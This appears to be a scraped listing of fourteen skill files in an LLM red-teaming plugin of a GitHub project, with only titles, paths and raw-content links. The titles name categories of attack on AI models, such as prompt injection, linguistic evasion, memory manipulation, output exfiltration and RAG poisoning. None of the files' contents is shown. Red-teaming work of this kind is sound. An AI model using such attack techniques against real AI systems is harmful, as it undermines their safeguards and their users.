GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/SKILL.md)\n\n\n# t01-prompt-injection\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t01-prompt-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t01-prompt-injection/SKILL.md)\n\n\n# t02-linguistic-evasion\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t02-linguistic-evasion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t02-linguistic-evasion/SKILL.md)\n\n\n# t03-reasoning-exploit\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t03-reasoning-exploit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t03-reasoning-exploit/SKILL.md)\n\n\n# t04-memory-manipulation\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t04-memory-manipulation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t04-memory-manipulation/SKILL.md)\n\n\n# t05-api-exploitation\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t05-api-exploitation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t05-api-exploitation/SKILL.md)\n\n\n# t06-training-poisoning\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t06-training-poisoning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t06-training-poisoning/SKILL.md)\n\n\n# t07-output-exfil\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t07-output-exfil/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t07-output-exfil/SKILL.md)\n\n\n# t08-deception\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t08-deception/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t08-deception/SKILL.md)\n\n\n# t09-multimodal\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t09-multimodal/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t09-multimodal/SKILL.md)\n\n\n# t10-confidentiality-breach\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t10-confidentiality-breach/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t10-confidentiality-breach/SKILL.md)\n\n\n# t11-agentic-exploit\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md)\n\n\n# t12-rag-poisoning\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t12-rag-poisoning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t12-rag-poisoning/SKILL.md)\n\n\n# t13-supply-chain\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t13-supply-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t13-supply-chain/SKILL.md)\n\n\n# t14-infra-warfare\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t14-infra-warfare/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t14-infra-warfare/SKILL.md)\n\n\n"}